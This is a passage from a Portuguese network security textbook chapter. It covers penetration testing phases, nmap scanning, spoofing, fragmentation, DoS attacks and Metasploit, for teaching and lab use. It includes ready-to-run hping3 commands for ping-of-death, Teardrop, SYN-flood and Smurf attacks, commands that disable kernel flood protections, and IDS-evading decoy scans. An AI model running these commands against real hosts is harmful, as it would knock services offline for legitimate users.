Fase em que a equipe de testes mapeia o perfil do ambiente em busca de vulnerabilidades
publicamente conhecidas. Ferramentas de scanning de vulnerabilidades de forma auto-
matizada são bastante úteis nesse estágio – podemos citar como exemplos o nmap, Nikto,
Tenable Nessus ou OpenVAS.

Fase de exploração
Fase em que a equipe de testes tentará obter acesso privilegiado a um alvo utilizando
ferramentas conhecidas como exploits para a descoberta de vulnerabilidades identificadas.
Existem técnicas específicas voltadas à exploração de vulnerabilidades em aplicações
instaladas nativamente em máquinas (por exemplo, busca por buffer overflows) e aplicações
web (por exemplo, injeções SQL ou ataques do tipo XSS e CSRF).

Fase de pós-exploração
Fase em que a equipe de testes tentará aumentar seu controle sobre o sistema atacado ou
obter acesso a outros sistemas vulneráveis. Exploits para escalada de privilégios, ataques
a senhas e hashes e pivoteamento ou tunelamento de conexões são exemplos de técnicas
empregadas nessa fase.

Fase de manutenção do acesso


Fase em que a equipe de testes tenta tornar permanente seu acesso aos sistemas
previamente invadidos, além de evitar a descoberta do ataque por parte dos colaboradores
da organização-alvo. Nesse estágio a equipe tentará apagar registros (logs) e traços do
ataque realizado, bem como instalar rootkits e/ou backdoors em memória.

O produto final de um teste de penetração é o relatório final, em que a equipe de testes vai
informar quais foram as vulnerabilidades encontradas, exploradas e (opcionalmente) quais Capítulo 2 - Explorando vulnerabilidades em redes
ações podem ser tomadas pela organização para mitigação dos riscos identificados. O rela-
tório deve incluir tanto um resumo executivo – voltado ao pessoal não-técnico da organização,
usualmente gestores e administradores – e um sumário técnico, este focado no pessoal que
efetivamente lidará com a implantação das correções para os pontos de falha identificados.

Os atacantes estão constantemente aperfeiçoando suas táticas de invasão. Em contrapar-


tida, o administrador de sistemas deve se atualizar constantemente buscando formas para
encontrar brechas em seus sistemas antes que invasores o façam. Um sistema seguro
significa encontrar o equilíbrio entre o valor da informação disponível e a quantia de
recursos utilizados para a proteção dessa informação.

A partir do conhecimento sobre metodologia de penetração, poderemos passar a ver os


tipos mais comuns de exploração de vulnerabilidades. Esses tipos são baseados quase que
em sua totalidade no protocolo TCP/IP.

19
Packet Sniffing
O termo Packet Sniffing tem sido ao longo do tempo substituído por “Analisador de proto- Sniffing
colo” (protocol analyzer) em razão de o termo sniffer ter conotação de atividade maliciosa. “Farejar”, em inglês,
consiste em capturar
No entanto, a ação realizada é a mesma, ou seja, ler todos os pacotes de dados que estão pacotes em trânsito
numa interface de rede.
trafegando em uma rede específica. Hoje, com as redes sem fio, a situação é semelhante,
com ferramentas que capturam os dados no ar. Lembre-se de que a capacidade de ler os
pacotes vai sempre ser limitada pelo uso de criptografia ou através de soluções físicas, como
o uso de um switch, que impede que uma placa de rede veja todo o tráfego de uma rede.
Na figura seguinte, vemos a interface de um programa de captura de pacotes.

Figura 2.1
Interface de um
programa de
captura de pacotes.

Exercício de fixação 1 e
Penetration Test
Quais são os tipos de abordagens para teste de penetração?

Exercício de fixação 2 e
Segurança de Redes e Sistemas

Packet sniffing
O que é e o que faz um analisador de protocolo?

20
Nmap
O Nmap é uma ferramenta de código aberto, utilizada para exploração de rede e auditoria
de segurança. Ela foi desenhada para identificar as portas de serviço que estão abertas na
máquina-alvo ou em um conjunto de máquinas. O resultado final de sua execução inclui,
dependendo das opções utilizadas, informações como a versão do Sistema Operacional e a
versão dos serviços em execução.

Nmap 192.168.1.0/24
macbook-pro-de-ivo-peixinho:~ ivocarv$ nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://Nmap.org ) at 2010-12-30 17:58 BRT


Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
5431/tcp open park-agent

Interesting ports on 192.168.1.6:


Not shown: 991 closed ports
PORT STATE SERVICE
88/tcp open kerberos-sec
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
999/tcp filtered garcon
1503/tcp filtered imtc-mcs
5298/tcp open unknown
6547/tcp filtered powerchuteplus
7937/tcp filtered nsrexecd

Interesting ports on 192.168.1.11:


Not shown: 998 closed ports
PORT STATE SERVICE
88/tcp open kerberos-sec
548/tcp open afp

Nmap done: 256 IP addresses (3 hosts up) scanned in 21.43 seconds

Nesse exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a
rede 192.168.1.0/24, que corresponde à classe C 192.168.1.0 (máscara 255.255.255.0). Note
que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas
abertas em cada servidor. A seguir alguns parâmetros interessantes do Nmap: Capítulo 2 - Explorando vulnerabilidades em redes

11 -O – realiza uma tentativa de detectar o Sistema Operacional da máquina analisada.

11 -Pn – realiza a varredura da máquina, mesmo que ela não responda ao ping, sendo útil
em servidores que estão sendo filtrados por firewalls.

11 -v – aumenta a quantidade de informação apresentada.

11 -s<tipo> – tipo de varredura utilizada. Algumas varreduras procuram evitar que o sistema
destino registre as tentativas de acesso.

O Nmap suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window),


M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP) e O (IP protocol).

A execução do Nmap é bem simples, estando ele disponível para uma série de plataformas.
A seguir alguns exemplos de execução do Nmap.

21
Lembre-se de que o pacote Nmap deve estar instalado em máquinas Linux.

Técnica Explicação Exemplo

Varredura TCP SYN Tipo de varredura mais comumente #Nmap -sS <ip_alvo>
utilizada, facilmente detectável. O
atacante envia para o alvo pacote com
a flag SYN setada: se receber SYN/ACK,
a porta está aberta; se receber RST, a
porta está fechada.

Varredura TCP Tipo de varredura padrão do Nmap, #Nmap –sT <ip_alvo>


Connect também facilmente detectável. O Nmap
procura realizar uma conexão normal
com a máquina-alvo, emitindo no final
o comando connect.

Varredura TCP FIN, Essa varredura explora uma falha #Nmap -sF <ip_alvo>
XMAS (Árvore de sutil na implementação do TCP/IP na #Nmap -sX <ip_alvo>
Natal) e TCP Nula máquina-alvo. Um atacante envia para
o alvo pacote com a flag FIN, sem flag #Nmap -sN <ip_alvo>
(TCP Null) ou com todas as flags setadas
(XMAS). Se receber RST, a porta está
fechada. Se não receber nada ou um
pacote qualquer, a porta está aberta.

Varredura UDP Embora os serviços mais populares #Nmap -sU ip_alvo


na internet utilizem o protocolo TCP,
serviços como DNS, SNMP e DHCP
utilizam o protocolo UDP. Essa varre-
dura permite identificar serviços UDP
em execução na máquina. Seu modo
de funcionamento é bastante simples:
o atacante envia para o alvo um pacote
UDP. Se receber a mensagem ICMP Port
Unreachable, a porta está fechada. Se
não receber nada ou um pacote qual-
quer, a porta está aberta.

Varredura TCP ACK Essa varredura é diferente das ante- #Nmap -sA ip_alvo
(detecta as portas riores, pois nunca determina se uma
que estão sendo porta está aberta. Seu objetivo é
filtradas por um mapear o conjunto de regras de um
firewall) firewall, determinando se essas regras
são orientadas à conexão ou não e
quais portas estão sendo filtradas. O
atacante envia para o alvo um pacote
com as flags ACK. Se receber RST,
a porta não está sendo filtrada. Se
receber a mensagem ICMP Unrea-
chable, a porta está sendo filtrada.

Varredura TCP/ Tem o mesmo objetivo da varredura #Nmap -sW ip_alvo


Windows (detecta TCP ACK, exceto que explora o detalhe
as portas que estão de implementação TCP/IP realizada por
sendo filtradas por certos sistemas operacionais. O ata-
um firewall) cante envia para o alvo um pacote com
Segurança de Redes e Sistemas

as flags ACK. Ao receber o pacote com


a flag RST, o Nmap avaliará o tamanho
da janela TCP. Se esse valor for positivo,
a porta está aberta. Se esse valor for
igual a zero, a porta está fechada.

Varreduras Decoy Realiza varreduras em um alvo utili- # Nmap -s S -D


zando endereços falsos. O objetivo é 101.102.103.104, 1.1.1.1,
“esconder” o verdadeiro alvo de sis- 2.2.2.2, 3.3.3.3 ip_alvo
temas de detecção de intrusos (IDS).

22
Técnica Explicação Exemplo

Varredura utilizando Explora uma falha na implementação # Nmap –b


o ataque FTP Boune do protocolo FTP, que permite ao anonymous:senha@
atacante, a partir do comando PORT, 172.16.1.20:21 172.16.1.1
utilizar o servidor FTP para escanear
outras máquinas na rede do alvo.

Varreduras tempo- Alguns mecanismos de IDS utilizam # Nmap –sS <ip_alvor> -T 1


rizadas o tempo de envio de pacotes para
determinar se um servidor está sendo
“escaneado”. Para evitar a detecção,
pode-se manipular o tempo de envio
de pacotes utilizando o parâmetro – T,
sendo o número “0” para Paranoid e até
“5” para Insane. A seguir, a relação dos
tempos para cada temporizador:
Paranoid: 5 minutos de delay.
Sneaky: 15 segundos de delay.
Polite (educada): 0.4 décimos de
segundo de delay.
Normal (default)‫‏‬
Aggressive (agressiva): 1min25
segundos por host.
Insane: 0.3 décimos de segundo.

Varredura furtiva Possibilita a um invasor fazer uma # Nmap -sF ip_alvo -S


varredura forjando a origem, com o 1.1.1.111 –n –e eth0
objetivo de desviar a atenção ou sim-
plesmente irritar o administrador.

Varredura OS Fin- Tem como objetivo identificar a versão #Nmap -O ip_alvo


gerPrint do Sistema Operacional da máquina-
-alvo, a partir do comportamento e das
respostas do protocolo TCP/IP.

Varredura para Varredura para identificar a versão dos # Nmap -sV ip_alvo
levantamento de serviços que estão em execução na
serviços no alvo máquina-alvo.

Exercício de fixação 3 e
Nmap
No Nmap, para que é utilizada a técnica de “Varredura TCP/Windows”?

Capítulo 2 - Explorando vulnerabilidades em redes

Hping
A ferramenta Hping é um gerador e analisador de pacotes TCP/IP muito utilizado para
atividades de auditoria, testes de firewall e redes, sendo bastante útil para administradores
e hackers. Possui suporte para os protocolos ICMP, UDP e TCP, e permite a modificação de
qualquer informação, tanto do payload quanto do cabeçalho do pacote.

Principais funcionalidades:

11 Teste de firewall.

11 Port scanning avançado.

23
11 Teste de rede, usando diferentes protocolos e fragmentação.

11 Descoberta manual de MTU.

11 Traceroute avançado, usando outros protocolos.

11 OS Fingerprinting.

11 Auditoria da pilha TCP/IP.

No último tópico desta sessão, a ferramenta Hping será utilizada para demonstrar alguns
tipos de ataques.

ARP Spoofing
Ataques de ARP Spoofing são relativamente antigos, mas quando empregados produzem
resultados de impacto. O conceito do ataque visa enviar um pacote ARP falso para uma rede
local, direcionando o tráfego do destino correto para um sistema malicioso.

O protocolo ARP traduz endereços físicos (MAC) para endereços IP. Lembre-se de que os MAC
endereços MAC são singulares, isto é, o fabricante da interface de rede associa unicamente Media Access Control é
um endereço MAC a uma interface específica. Dessa forma, a apropriação da identidade de um protocolo de acesso
ao meio físico em uma
outro sistema fará com que todo o tráfego na rede seja desviado para o sistema invasor.
interface de rede.
Outro resultado possível de ataques de ARP Spoofing é a negação de serviço contra o Endereços físicos de
sistema-alvo, pois o tráfego não chegará ao sistema de destino. interfaces de rede são
comumente chamados
de endereços MAC.
IP: 10.0.0.1 IP: 10.0.0.7
MAC: [bb:bb:bb:bb:bb:bb] MAC: [aa:aa:aa:aa:aa:aa]
Switch
AR
P

c: P
c]
10

I
Ca 7 p

:c
cc ta
.0

cc
ch ara

:c pon
.0

e
.

:c
m MA

:[ oa
od C

c:
AC cad
ifi : [c

cc
ca

ifi
od
do :cc:

m
ap cc:c

M
c

e
on c:

ra
ch
pa
ta cc:

Ca
IP cc]

.1
P
AR

.0
.0
10

Atacante
IP: 10.0.0.3
Figura 2.2
MAC: [cc:cc:cc:cc:cc:cc] Ataque ARP
Spoofing.
Segurança de Redes e Sistemas

IP Spoofing
Essa técnica de ataque tem como objetivo alterar um campo do cabeçalho IP,
para que os pacotes sejam enviados como se partissem de uma origem diferente.
O campo do pacote alterado é o do endereço de origem, um campo de 32 bits que
indica o endereço IP de onde partiu o pacote. O cabeçalho IP possui um tamanho
fixo de 20 octetos ou 160 bits, além de uma porção opcional, raramente utilizada.

24
Atacante
Endereço: 1.1.1.1

IP IP
TCP Internet TCP

De: 3.3.3.3 De: 3.3.3.3


Para: 2.2.2.2 Para: 2.2.2.2

Vítima
Host confiável Endereço: 2.2.2.2
Figura 2.3
IP Spoofing. Endereço: 3.3.3.3 De: 2.2.2.2
Para: 3.3.3.3

Fragmentação de pacotes IP
Uma característica do TCP/IP bastante utilizada em ataques é a fragmentação de pacotes.
Seja para dificultar a detecção de ataques ou para realizar a negação de serviços, essa carac-
terística faz parte do arsenal de técnicas de ataque. A fragmentação de pacotes está rela-
cionada à Maximum Transfer Unit (MTU), parâmetro que especifica a quantidade máxima
de dados que pode passar em um único pacote por um meio físico da rede. Caso um pacote
tenha tamanho superior ao suportado pelo meio físico da rede, é fragmentado (dividido).

Por exemplo, a rede Ethernet limita a transferência a 1.500 octetos de dados, enquanto o
FDDI FDDI permite 4.470 octetos de dados por pacote. Com isso, um pacote que parta de uma
Fiber Distributed Data rede FDDI (com 4.470 octetos) e passe por uma rede Ethernet (com 1.500 octetos) é dividido
Interface é a tecnologia
em quatro fragmentos com 1.500 octetos cada um, que é o tamanho suportado pela rede
de transmissão de
dados em redes. Ethernet.

Os fragmentos resultantes trafegam pela rede e, quando chegam ao seu destino final,
são reagrupados, com base em offsets ou deslocamentos, reconstituindo, assim, o pacote
Figura 2.4
Fragmentação de original. Todo esse processo de fragmentação e reagrupamento é realizado de modo
pacotes IP. automático e transparente para o usuário, de acordo com as regras do protocolo IP.

Roteador 1 Roteador 2
Capítulo 2 - Explorando vulnerabilidades em redes

Rede 1 Rede 2 Rede 3

MTU = 1500 bytes MTU = 620 bytes MTU = 1500 bytes

1500 bytes 600 bytes 1500 bytes

600 bytes

30 bytes

25
A possibilidade de ataques que exploram a fragmentação de pacotes IP está relacionada
ao modo como são implementados a fragmentação e o reagrupamento. Tipicamente, os
sistemas não tentam processar o pacote, até que todos os fragmentos sejam recebidos e
reagrupados. Isso cria a possibilidade de ocorrer um estouro (overflow) na pilha TCP quando
há o reagrupamento de pacotes cujo tamanho total seja maior que o espaço que foi reser-
vado, ou seja, pacotes maiores podem ser criados para forçar o estouro da pilha.

O resultado disso são problemas como o travamento do sistema, caracterizando ataques do


tipo Denial of Service, que comprometem a disponibilidade de recursos. Outro ataque con-
siste em gerar pacotes com o offset de fragmentação negativo, que pode causar resultados
inesperados caso a pilha TCP/IP do sistema de destino não realize uma verificação antes de
tentar reagrupar os pacotes.

A fragmentação de pacotes foi explorada em ataques, inicialmente, no fim de 1996 pelo


Ping da Morte. O ataque consistia no envio de pacotes ICMP Echo Request (ping) com
tamanho de 65535 bytes. Esse tamanho, maior do que o normal, fazia com que diversos
sistemas travassem por causa da sobrecarga do buffer da pilha TCP/IP, que não era capaz de
reagrupar um pacote tão grande. O ping foi empregado inicialmente devido à sua facilidade
de uso, embora outros pacotes IP grandes, sejam eles TCP (conhecido como ataque
Teardrop) ou UDP, possam causar esse mesmo tipo de problema. O problema existiu, na
realidade, devido a erros de implementação da pilha TCP/IP em sistemas operacionais e em
equipamentos de redes.

Por isso, atualmente, os sistemas já corrigiram esse problema por meio de atualizações e insta-
lações de correções (patches). Porém, a fragmentação e o reagrupamento podem ser utilizados
para ataques mais sofisticados, com o intuito de driblar firewalls ou sistemas de detecção de
intrusão (IDS). Isso acontece porque a fragmentação e o reagrupamento ocorrem somente
entre as pontas, o que faz com que o firewall, o roteador ou o IDS que não suportem fragmen-
tação não detectem ataques cujos dados estejam em pacotes diferentes, já que são elementos
localizados entre dois hosts que se comunicam. A fragmentação é utilizada, por exemplo, como
um método de varredura como o usado pelo Nmap, que envia pacotes fragmentados em alguns
casos, de modo que sua detecção pelo firewall ou pelo IDS torna-se mais difícil.

Ataques de negação de serviço


Os ataques de negação de serviço ou DoS (Denial of Service) possuem como objetivo afetar
a disponibilidade dos recursos, impedindo que as informações sejam acessadas por usu-
ários legítimos. Diversas técnicas, em diferentes níveis da pilha TCP/IP, podem ser usadas
para esse fim. De uma forma geral, ataques DoS fazem com que recursos sejam explo-
rados de maneira agressiva, o que estressa o recurso, impedindo-o de realizar suas tarefas
básicas. Consequentemente, usuários legítimos ficam impossibilitados de utilizá-los.

Uma técnica típica de ataque DoS é o SYN flooding, que, com uma enxurrada de pacotes de
Segurança de Redes e Sistemas

requisição de conexão (SYN), causa o estouro (overflow) da pilha de memória, que passa a
não aceitar novas requisições.

Outra técnica é o envio de pacotes específicos causando a interrupção do serviço, que pode
ser exemplificada pelo Smurf. Os ataques DoS vão além da pilha de protocolos TCP/IP, como
o caso de estouro de memória em aplicações (e da interrupção do serviço), muitas vezes
causado por falhas na programação desses aplicativos. As técnicas mais avançadas de DoS
são coordenadas e distribuídas, onde os ataques partem não de um equipamento, mas de
vários, que também acabam se tornando vítimas.

26
Um ataque de negação de serviço distribuído (DDoS) é uma tentativa maliciosa de tornar
um serviço online indisponível para usuários legítimos, normalmente via interrupção ou
suspensão dos serviços oferecidos pelo host remoto. Normalmente, ataques DDoS são
lançados a partir de múltiplos dispositivos comprometidos, frequentemente distribuídos
globalmente em uma rede referida como botnet.

Podemos diferenciar os ataques DoS e DDoS em três categorias principais:

Ataques volumétricos
Incluem floods (inundações) UDP, floods ICMP, bem como outros ataques de inundação
usando pacotes forjados. O objetivo do ataque é saturar a banda de conexão disponível do
site-alvo. Sua magnitude é medida em bits por segundo (Bps).

Ataques a protocolo
Incluem floods SYN, ataques de fragmentação, ping da morte, ataques Smurf e outros. Esse
tipo de ataque consome recursos efetivos da máquina-alvo ou de equipamentos de comuni-
cação intermediários, como firewalls e balanceadores de carga. Sua magnitude é medida em
pacotes por segundo (Pps).

Ataques na camada de aplicação


Incluem ataques low-and-slow (ataques baseados em streams pequenos de tráfego pro-
positalmente lento), floods GET/POST, ataques direcionados a vulnerabilidades do Apache,
nginx, Windows IIS e outros. Esses ataques são compostos por requisições aparentemente
simples e legítimas, mas que têm por objetivo causar uma pane (crash) no servidor destino.
Sua magnitude é medida em requisições por segundo (Rps).

Ataques de SYN flood


Um ataque SYN flood consiste em uma alteração no protocolo padrão de estabelecimento
de comunicação no protocolo TCP, conhecido como three way handshake.

Em uma comunicação TCP normal, são trocadas as seguintes mensagens para estabeleci-
mento de uma sessão:

1. O cliente envia uma requisição de conexão: pacote com a opção SYN habilitada e com o
número de sequência x.

2. O servidor recebe o pacote SYN e responde com uma mensagem de reconhecimento, que
consiste em um pacote com as opções SYN e ACK habilitadas (SYN-ACK) e com números Capítulo 2 - Explorando vulnerabilidades em redes
de sequência x+1 e y. O servidor, então, adiciona 1 ao número de sequência recebido pelo
cliente (x). Esse foi o método estabelecido para identificar uma determinada requisição.

3. O cliente reconhece o pacote SYN-ACK (pacote ACK com y + 1). O cliente adiciona 1 ao
número de sequência y recebido pelo servidor.

4. A conexão é estabelecida.

5. A troca de dados acontece.

6. A conexão é encerrada com um pacote com flag FIN.

7. A conexão é encerrada de forma anormal com um pacote RST.

Um ataque de flooding, ou enxurrada de pacotes, consiste em uma técnica para desestabi-


lizar e derrubar recursos computacionais, e pode acontecer em vários níveis do TCP/IP. SYN

27
Flooding é um ataque de negação de serviço que explora o mecanismo de estabelecimento
de conexões TCP, baseado em handshake em três vias (three-way handshake). O ataque
consiste no envio de um grande número de requisições de conexão (pacotes SYN) para a
vítima, de tal maneira que ela se torne incapaz de responder a todas as requisições. Com um
grande número de requisições SYN simultâneas, a quantidade de conexões máximas é
atingida e a vítima fica incapacitada de atender a conexões legítimas, até que a memória
seja liberada. Caso o ataque seja realizado de forma continuada, este pode tornar um Figura 2.5
serviço indisponível. Ataque de flooding.

SYN (IP de origem falsificado)

SYN (IP de origem falsificado)

SYN (IP de origem falsificado) Vítima


Atacante

Ataque Smurf
Smurf é outro ataque de negação de serviço, no qual um grande tráfego de pacotes ping
(ICMP echo) é enviado para o endereço IP de broadcast da rede, tendo como origem o ende-
reço IP da vítima (IP Spoofing). Spoofing
Em inglês, “falsificação”,
Com o broadcast, cada host da rede recebe a requisição de ICMP echo, passando todos eles “disfarce”; se refere aos
a responderem para o endereço de origem, que é falsificado, pois é o comportamento ataques onde infor-
padrão quando um pacote tem por destino o endereço de broadcast da rede. A rede mações no cabeçalho
dos protocolos são
utilizada também é afetada, pois todos os seus hosts respondem à requisição ICMP, falsificadas.
passando a atuar como um amplificador. Além disso, a vítima, que teve o seu endereço IP
falsificado, recebe os pacotes de todos esses hosts, ficando impedida de executar suas
funções normais, sofrendo assim um ataque de negação de serviço. As vítimas do ataque,
assim, são a rede e o host que teve o seu endereço IP falsificado.

Ataque Smurf Figura 2.6


Ataque Smurf.

Atacante envia pacote com endereço IP falsificado


Segurança de Redes e Sistemas

Respostas ICMP encaminhadas para a vítima

28
Varredura
Apesar de não ser necessariamente uma vulnerabilidade, a varredura (scanning) é uma
técnica muito usada por atacantes para verificar quais endereços IP de uma determinada
rede estão associados a servidores e quais portas estão abertas (TCP e UDP) nesses servi-
dores. A varredura consiste em tentar conexão em um conjunto de endereços IP e portas,
verificando quais retornam algum tipo de resposta.

Existem ferramentas específicas para fazer varredura, sendo a mais famosa a


ferramenta livre Nmap.

Zenmap
O Zenmap é a interface gráfica oficial (Frontend) do já conhecido programa Nmap Security
Scanner, possuindo versões para plataformas como Windows, Linux, MacOS, BSD, entre
outras. Com essa ferramenta, a tarefa de levantamento de informações do protocolo TCP/IP
se torna mais fácil e produtiva, principalmente por revelar aos iniciantes opções avançadas
de exploração de portas oferecidas pelo Nmap.

Capítulo 2 - Explorando vulnerabilidades em redes

Figura 2.7
Técnica da
varredura Zenmap.

Com o Zenmap podemos:

11 Salvar comandos de varreduras frequentemente utilizadas.

11 Utilizar o Command Wizard para criar interativamente comandos de varredura.

11 Salvar resultados de varreduras para visualização posterior.

29
11 Comparar varreduras salvas e verificar suas diferenças.

11 Criar topologias de rede com a ferramenta Topology Mapping Tool.

Além dessas opções, o Zenmap disponibiliza todas as varreduras em uma base de dados
totalmente pesquisável.

Topology Mapping Tool


Essa ferramenta provê uma visão interativa e animada das conexões entre computadores.
Combinada com a opção traceroute do Nmap, pode descobrir o caminho dos hosts dentro
de uma rede de computadores.

Figura 2.8
Zenmap Topology
Mapping Tool.

Exercício de fixação 3 e
IP Spoofing
Explique o que é um IP Spoofing.

Exercício de fixação 4 e
DoS
Explique o que é um ataque de negação de serviço.
Segurança de Redes e Sistemas

30
Alguns tipos de ataques
Fragmentação de pacotes (ping da morte)
Para realizar a fragmentação de pacotes ou ping da morte, o atacante enviará um pacote maior
que o PDU da rede, sobrecarregando o host de destino quando ele tentar remontar a informação.

Para realizar o ataque, execute:

# hping3 -V -c 100 -d 65495 --icmptype 8 <ip_alvo>

Onde:

-V = modo monitor.

-c = quantidade de pacotes enviados.

-d = quantidade de bytes de dados, maior que 1480 para ativar a fragmentação.

--icmptype 8 = mensagem ICMP Echo Request.

Ou5

# ping –i -l 65500 <ip_alvor> -t

Onde:

-i = indica que cada ping deve ser realizado em um intervalo de um milésimo de segundo.

-l = define o tamanho do pacote.

-t = envia os pacotes por tempo indeterminado.

Fragmentação de pacotes (Teardrop)


Ataque de negação de serviço que também explora o princípio da fragmentação do pacote
IP. O ataque Teardrop consiste em modificar o número de sequência que identifica a ordem
correta de remontagem do pacote, de forma a inserir espaços vazios, podendo provocar
instabilidade no sistema-alvo.

Para realizar o ataque, execute:

# hping3 –V –c 100 –d 65500 –S –p 80 –s 4657 –a <ip_spofado> <ip_alvo>

Capítulo 2 - Explorando vulnerabilidades em redes


Esse comando ativa o modo monitor (-V), que permite monitorar as respostas. Serão
enviados 100 pacotes (-c) com tamanho de 65500 (-d) bytes de dados (deve ser maior que
1480 para ativar a fragmentação). A opção “-S” informa para enviar o pacote com a flag SYN
configurada para a porta 80 (-p) e porta de origem 4657 (-s). A opção “–a” trocará o endereço
de origem do pacote, permitindo a realização do spoof.

Simulando um ataque de Synflood


Esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a
ferramenta hping3. Para isso, será necessário desativar a proteção contra SYN Flooding do
kernel do Linux. Essa opção vem habilitada por padrão na distribuição Debian. Para desabi-
litar a proteção, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/tcp_syncookies

31
Nota: como o exemplo a seguir realiza o ataque a um servidor web, antes de executar o
comando verifique a disponibilidade do servidor http que será atacado. Execute tcpdump
ou Wireshark para verificar os pacotes de ataque que estão sendo enviados. Para executar o
tcpdump, utilize o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n

Por fim, você deve digitar o seguinte comando para iniciar o ataque:

# hping3 IP_DO_ALVO -p 80 -S --faster --rand-source

Esse comando envia pacotes TCP com a flag SYN ativada (-S) para a porta do serviço web
(-p 80), enviando um pacote a cada microssegundo (--faster) e alterando o endereço de
origem aleatoriamente (--rand-source).

Enquanto o ataque está em andamento, tentar acessar o serviço web da máquina-alvo


através de um navegador. Não devemos conseguir acessar o serviço, pois a máquina está
sobrecarregada, tratando as diversas requisições enviadas pelo hping.

Para finalizar a execução do hping e do tcpdump, basta digitar CTRL+C.

Simulando um ataque Smurf


Nesse ataque será utilizado o comando hping para enviar pacotes ICMP Echo Request para
o endereço de broadcast da rede. Assim, todas as máquinas responderão para o endereço
de origem especificado no pacote que deve estar alterado para o endereço-alvo (Spoofing).
Para que o ataque seja efetivo, a proteção contra ICMP Echo Request para endereço de
broadcast deve estar desabilitada em todas as máquinas do laboratório. Para desativar essa
proteção nas máquinas Linux, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

Após liberar a resposta de ICMP Echo Request para o endereço de broadcast da rede, inicie
tcpdump ou Wireshark em um terminal separado, para verificar o andamento do ataque
com o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n

Digite o seguinte comando para iniciar o ataque:

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO

Esse comando vai enviar pacotes ICMP Echo Request para o endereço de broadcast da
Segurança de Redes e Sistemas

rede do laboratório, no modo mais rápido possível (um pacote a cada 1 microssegundo),
com endereço de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no
tcpdump os pacotes de ICMP Echo Reply que estão sendo enviados para o alvo do ataque.

O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para
fortalecer o ataque. Assim, a banda do alvo será rapidamente consumida pelos pacotes de
ICMP Echo Reply.

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO -d 1000

32
O site www.powertech.no/smurf lista algumas redes que aceitam ICMP Echo Request
para o endereço de broadcast e podem ser utilizadas como amplificadores para
ataques Smurf. No site também é possível verificar se a sua rede está vulnerável a
esse tipo de ataque.

Neste tópico foram abordados alguns ataques conhecidos em redes TCP/IP. Existe ainda
uma série de outros ataques conhecidos, como ARP poison, connection hijacking, sequence
prediction attack, buffer overflow, fraggle e race condition, entre outros. Os documentos a
seguir fornecem mais informações caso tenha interesse em se aprofundar no assunto:

11 Técnicas adotadas pelos crackers para entrar em redes corporativas,


de Cristiano Gerlach, Rede Nacional de Ensino e Pesquisa (RNP).

11 Introduction to TCP/IP Network Attacks (Introdução aos ataques a redes TCP),


de Guang Yang, Department of Computer Science, Iowa State University.

11 Attack Lab: Attacks on TCP/IP Protocols (Laboratório de ataques: ataques a protocolos


TCP/IP), de Wenliang Du, Syracuse University.

Exploit
Exploit significa literalmente “explorar”, sendo uma palavra usada para se referir a pequenos
códigos de programas para explorar falhas de segurança causadas por erros de programação.

Um exploit é uma ferramenta de segurança com o objetivo de explorar uma vulnerabilidade


de um sistema. Há alguns anos, para que um usuário pudesse testar um sistema ou rede, ele
necessitaria escrever um código específico para isso. Hoje, exploits são diariamente criados
e divulgados pela comunidade hacker. Embora agressores ainda criem novos ataques e os
usem em segredo, a nova tendência é de crescimento no compartilhamento de informações
sobre vulnerabilidades e seus respectivos exploits, o que pode ser, dependendo do ponto de
vista, bom e ruim.

Metasploit
O Metasploit é um framework específico para testes de penetração. É uma ferramenta
bastante utilizada, visto que possui diversos plugins para exploração de vulnerabilidades de
forma simples, que são atualizados constantemente.

Criado em 2003 pelo desenvolvedor HD Moore, o metasploit foi concebido em forma de um


framework para comunidade de segurança com o objetivo de desenvolvimento de exploit.
Capítulo 2 - Explorando vulnerabilidades em redes
Basicamente, um framework é uma estrutura de apoio que funciona como uma abstração
entre vários projetos de software para funções genéricas. Tipicamente inclui programas de
apoio, bibliotecas e uma linguagem de script, entre outros softwares para ajudar a desen-
volver e unir diferentes componentes de um projeto.

O Metasploit pode ser utilizado de três formas distintas:

11 No modo console, através do comando msfconsole.

11 No modo web, através do comando msfweb. Nesse modo é criado um servidor web
na porta 55555, que pode ser acessado com um browser comum, através do endereço
http://127.0.0.1:55555.

11 No modo gráfico, através do comando msfgui.

33
Exercício de fixação 5 e
Alguns tipos de ataque
Explique o que vem a ser um exploit.

O que faz um metasploit?

Neste curso, usaremos a versão web. Na aba Exploits, podemos buscar as vulnerabilidades
que desejamos avaliar. Na imagem a seguir, selecionamos uma vulnerabilidade no
componente Samba, presente no Sistema Operacional MAC OS X. Note que a versão web
descreve a vulnerabilidade e oferece uma série de referências para o analista procurar
mais informações sobre uma vulnerabilidade específica. O passo seguinte é escolher um
Target, que corresponde a um tipo de exploração que será realizado. No caso a seguir, o
único tipo disponível é o Stack brute force, que tentará um ataque de força bruta na pilha
do processo vulnerável.
Segurança de Redes e Sistemas

Em seguida, vamos escolher o tipo de payload usado, que determinará o que o Metasploit
Figura 2.9
tentará conseguir na máquina remota. Entre as possibilidades, podemos obter um acesso ao Exemplo de
console na máquina através de uma porta específica ou conectar de volta na máquina do vulnerabilidade
no componente
atacante, ofertando um acesso remoto.
Samba.

34
Figura 2.10 Por fim, escolhemos os parâmetros específicos para esse tipo de vulnerabilidade. No caso, o
Escolha do tipo endereço IP do destino, a porta de destino e a porta local. Temos ainda alguns parâmetros
de payload.
avançados, onde podemos escolher o endereço local do cliente, configurações de Proxy,
parâmetros específicos do Samba, entre outros.

Figura 2.11 Capítulo 2 - Explorando vulnerabilidades em redes


Escolha dos
parâmetros
específicos para
esse tipo de
vulnerabilidade.

Ao clicar no botão Launch exploit, estaremos fazendo o Metasploit tentar explorar a


